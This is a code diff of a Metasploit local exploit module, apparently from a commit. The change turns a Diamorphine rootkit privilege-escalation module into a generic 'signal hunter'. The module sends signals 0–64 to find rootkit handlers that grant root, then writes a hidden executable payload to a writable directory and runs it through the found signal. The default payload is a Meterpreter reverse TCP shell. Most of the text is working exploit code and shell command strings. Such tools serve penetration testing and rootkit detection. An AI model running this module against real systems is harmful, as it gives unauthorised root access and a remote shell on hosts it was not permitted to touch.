|
4 | 4 | ## |
5 | 5 |
|
6 | 6 | class MetasploitModule < Msf::Exploit::Local |
7 | | - Rank = ExcellentRanking |
| 7 | + Rank = GreatRanking |
8 | 8 |
|
9 | 9 | include Msf::Post::File |
10 | 10 | include Msf::Post::Linux::Priv |
11 | 11 | include Msf::Post::Linux::System |
12 | 12 | include Msf::Exploit::EXE |
13 | 13 | include Msf::Exploit::FileDropper |
14 | | - prepend Msf::Exploit::Remote::AutoCheck |
| 14 | + include Msf::Exploit::Deprecated |
| 15 | + |
| 16 | + moved_from 'exploit/linux/local/diamorphine_rootkit_signal_priv_esc' |
15 | 17 |
|
16 | 18 | def initialize(info = {}) |
17 | 19 | super( |
18 | 20 | update_info( |
19 | 21 | info, |
20 | | - 'Name' => 'Diamorphine Rootkit Signal Privilege Escalation', |
| 22 | + 'Name' => 'Rootkit Privilege Escalation Signal Hunter', |
21 | 23 | 'Description' => %q{ |
22 | | - This module uses Diamorphine rootkit's privesc feature using signal |
23 | | - 64 to elevate the privileges of arbitrary processes to UID 0 (root). |
| 24 | + This module searches for rootkits which use signals to elevate |
| 25 | + process privileges to UID 0 (root). |
| 26 | +
|
| 27 | + Some rootkits install signal handlers which listen for specific |
| 28 | + signals to elevate process privileges. This module identifies these |
| 29 | + rootkits by sending signals and observing UID switching to root. |
| 30 | +
|
| 31 | + This module has been tested successfully with: |
24 | 32 |
|
25 | | - This module has been tested successfully with Diamorphine from `master` |
26 | | - branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64). |
| 33 | + Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04 |
| 34 | + kernel 6.14.0-33-generic (x64); |
| 35 | + Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04 |
| 36 | + kernel 5.19.0-38-generic (x64); |
| 37 | + Codeine 9644336 (2025-09-02) on Ubuntu 22.04 |
| 38 | + kernel 5.19.0-38-generic (x64). |
27 | 39 | }, |
28 | 40 | 'License' => MSF_LICENSE, |
29 | | - 'Author' => [ |
30 | | - 'm0nad', # Diamorphine |
31 | | - 'bcoles' # Metasploit |
32 | | - ], |
| 41 | + 'Author' => 'bcoles', |
| 42 | + # Diamorphine rootkit first publicly documented use of signals for process privesc? |
33 | 43 | 'DisclosureDate' => '2013-11-07', # Diamorphine first public commit |
34 | 44 | 'References' => [ |
35 | | - ['URL', 'https://github.com/m0nad/Diamorphine'] |
| 45 | + ['URL', 'https://github.com/bcoles/rootkit-signal-hunter'], |
| 46 | + ['URL', 'https://xcellerator.github.io/posts/linux_rootkits_03/'], |
| 47 | + ['URL', 'https://github.com/m0nad/Diamorphine'], |
| 48 | + ['URL', 'https://github.com/h3xduck/Umbra'], |
| 49 | + ['URL', 'https://github.com/diego-tella/Codeine'], |
| 50 | + ['URL', 'https://github.com/MatheuZSecurity/Singularity'], |
| 51 | + ['URL', 'https://github.com/Asekon/RootKit'], |
36 | 52 | ], |
37 | 53 | 'Platform' => ['linux'], |
38 | | - 'Arch' => [ARCH_X86, ARCH_X64], |
| 54 | + 'Arch' => [ |
| 55 | + ARCH_X86, |
| 56 | + ARCH_X64, |
| 57 | + ARCH_ARMLE, |
| 58 | + ARCH_AARCH64, |
| 59 | + ARCH_RISCV64LE, |
| 60 | + ARCH_RISCV32LE, |
| 61 | + ARCH_PPC, |
| 62 | + ARCH_MIPSLE, |
| 63 | + ARCH_MIPSBE |
| 64 | + ], |
39 | 65 | 'SessionTypes' => ['shell', 'meterpreter'], |
40 | 66 | 'Targets' => [['Auto', {}]], |
41 | 67 | 'Notes' => { |
42 | 68 | 'Reliability' => [ REPEATABLE_SESSION ], |
43 | | - 'Stability' => [ CRASH_SAFE ], |
44 | | - 'SideEffects' => UNKNOWN_SIDE_EFFECTS |
| 69 | + 'Stability' => [ |
| 70 | + CRASH_OS_DOWN, # Poorly designed rootkits may crash |
| 71 | + ], |
| 72 | + 'SideEffects' => [ |
| 73 | + ARTIFACTS_ON_DISK, |
| 74 | + SCREEN_EFFECTS, # Killing processes may spawn crash handler windows |
| 75 | + ] |
45 | 76 | }, |
| 77 | + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, |
46 | 78 | 'DefaultTarget' => 0 |
47 | 79 | ) |
48 | 80 | ) |
49 | | - register_options [ |
50 | | - OptInt.new('SIGNAL', [true, 'Diamorphine elevate signal', 64]) |
51 | | - ] |
52 | | - register_advanced_options [ |
| 81 | + register_options([ |
| 82 | + OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]), |
| 83 | + OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]), |
| 84 | + OptString.new('PID', [false, 'Process ID to send signals to (leave blank to spawn a new process)', '']) |
| 85 | + ]) |
| 86 | + register_advanced_options([ |
53 | 87 | OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) |
54 | | - ] |
55 | | - end |
56 | | - |
57 | | - def signal |
58 | | - datastore['SIGNAL'].to_s |
| 88 | + ]) |
59 | 89 | end |
60 | 90 |
|
61 | 91 | def base_dir |
62 | 92 | datastore['WritableDir'].to_s |
63 | 93 | end |
64 | 94 |
|
65 | | - def upload_and_chmodx(path, data) |
66 | | - print_status "Writing '#{path}' (#{data.size} bytes) ..." |
67 | | - write_file path, data |
68 | | - chmod path, 0755 |
69 | | - end |
| 95 | + def cmd_exec_elevated(signal, cmd, pid) |
| 96 | + vprint_status("Executing '#{cmd}' with signal #{signal} (PID: #{pid}) ...") |
| 97 | + |
| 98 | + # NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish) |
| 99 | + # due to using "$!" which is not supported |
| 100 | + res = cmd_exec( |
| 101 | + %(sh -c 'kill -#{signal} #{pid}; #{cmd}' 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"), |
| 102 | + nil, |
| 103 | + 5 |
| 104 | + ).to_s |
| 105 | + vprint_line(res) unless res.blank? |
70 | 106 |
|
71 | | - def cmd_exec_elevated(cmd) |
72 | | - vprint_status "Executing #{cmd} ..." |
73 | | - res = cmd_exec("sh -c 'kill -#{signal} $$ && #{cmd}'").to_s |
74 | | - vprint_line res unless res.blank? |
75 | 107 | res |
76 | 108 | end |
77 | 109 |
|
78 | 110 | def check |
79 | | - res = cmd_exec_elevated 'id' |
| 111 | + return CheckCode::Unknown('Session already has root privileges') if is_root? |
| 112 | + |
| 113 | + # NOTE: this will fail on non-POSIX shells (ie, fish) |
| 114 | + # due to using "$$" which is not supported |
| 115 | + pid = datastore['PID'].downcase.blank? ? '\$$' : datastore['PID'] |
| 116 | + |
| 117 | + # Iterate from MIN to MAX sending each signal to PID. |
| 118 | + # |
| 119 | + # SIGCONT if the process hangs. |
| 120 | + # Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish) |
| 121 | + # due to using "$!" which is not supported |
| 122 | + cmd = [ |
| 123 | + "i=#{datastore['MIN_SIGNAL']}", |
| 124 | + %(while [ "$i" -le #{datastore['MAX_SIGNAL']} ]), |
| 125 | + %(do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!), |
| 126 | + 'sleep 0.1; kill -CONT "$pid" 2>/dev/null', |
| 127 | + 'wait "$pid"', |
| 128 | + 'i=$((i + 1))', |
| 129 | + 'done 2>/dev/null' |
| 130 | + ].join('; ') |
| 131 | + |
| 132 | + res = cmd_exec( |
| 133 | + cmd, |
| 134 | + nil, |
| 135 | + 60 |
| 136 | + ) |
| 137 | + vprint_line(res) unless res.blank? |
80 | 138 |
|
81 | | - if res.include?('invalid signal') |
82 | | - return CheckCode::Safe("Signal '#{signal}' is invalid") |
83 | | - end |
| 139 | + return CheckCode::Safe('No rootkits detected') unless res.to_s.include?('uid=0') |
| 140 | + |
| 141 | + CheckCode::Vulnerable('Rootkit(s) are installed and configured to elevate privileges for signals.') |
| 142 | + end |
84 | 143 |
|
85 | | - unless res.include?('uid=0') |
86 | | - return CheckCode::Safe("Diamorphine is not installed, or incorrect signal '#{signal}'") |
| 144 | + # @return Array of signals which can be used to elevate privileges to root |
| 145 | + def brute_signals(min, max, pid) |
| 146 | + print_status("Trying signals #{min} to #{max} (PID: #{pid}) ...") |
| 147 | + signals = [] |
| 148 | + |
| 149 | + (min..max).each do |signal| |
| 150 | + signals << signal if cmd_exec_elevated(signal, 'id', pid).to_s.include?('uid=0') |
87 | 151 | end |
88 | 152 |
|
89 | | - CheckCode::Vulnerable("Diamorphine is installed and configured to handle signal '#{signal}'.") |
| 153 | + signals |
90 | 154 | end |
91 | 155 |
|
92 | 156 | def exploit |
93 | | - if !datastore['ForceExploit'] && is_root? |
94 | | - fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') |
95 | | - end |
| 157 | + fail_with(Failure::BadConfig, 'Session already has root privileges.') if is_root? |
| 158 | + fail_with(Failure::BadConfig, "Start signal (#{datastore['MIN_SIGNAL']}) is greater than stop signal (#{datastore['MAX_SIGNAL']}); nothing to iterate.") if datastore['MIN_SIGNAL'] > datastore['MAX_SIGNAL'] |
| 159 | + fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir) |
| 160 | + |
| 161 | + pid = datastore['PID'].downcase.blank? ? '$$' : datastore['PID'] |
| 162 | + signals = brute_signals( |
| 163 | + datastore['MIN_SIGNAL'], |
| 164 | + datastore['MAX_SIGNAL'], |
| 165 | + pid |
| 166 | + ) |
96 | 167 |
|
97 | | - unless writable? base_dir |
98 | | - fail_with Failure::BadConfig, "#{base_dir} is not writable" |
99 | | - end |
| 168 | + fail_with(Failure::NotVulnerable, 'No rootkits detected') if signals.blank? |
100 | 169 |
|
101 | | - payload_name = ".#{rand_text_alphanumeric 8..12}" |
102 | | - payload_path = "#{base_dir}/#{payload_name}" |
103 | | - upload_and_chmodx payload_path, generate_payload_exe |
104 | | - register_file_for_cleanup payload_path |
| 170 | + print_good("Found #{signals.size} signals for privilege escalation (#{signals.join(', ')}).") |
105 | 171 |
|
106 | | - cmd_exec_elevated "#{payload_path} & echo " |
| 172 | + payload_name = ".#{rand_text_alphanumeric(8..12)}" |
| 173 | + payload_path = "#{base_dir}/#{payload_name}" |
| 174 | + payload_data = generate_payload_exe |
| 175 | + print_status("Writing '#{payload_path}' (#{payload_data.size} bytes) ...") |
| 176 | + write_file(payload_path, payload_data) |
| 177 | + chmod(payload_path, 0o755) |
| 178 | + register_file_for_cleanup(payload_path) |
| 179 | + |
| 180 | + signals.each do |signal| |
| 181 | + print_status("Trying signal #{signal} ...") |
| 182 | + cmd_exec_elevated(signal, "#{payload_path} & echo ", pid) |
| 183 | + sleep(5) |
| 184 | + break if session_created? |
| 185 | + end |
107 | 186 | end |
108 | 187 | end |
0 commit comments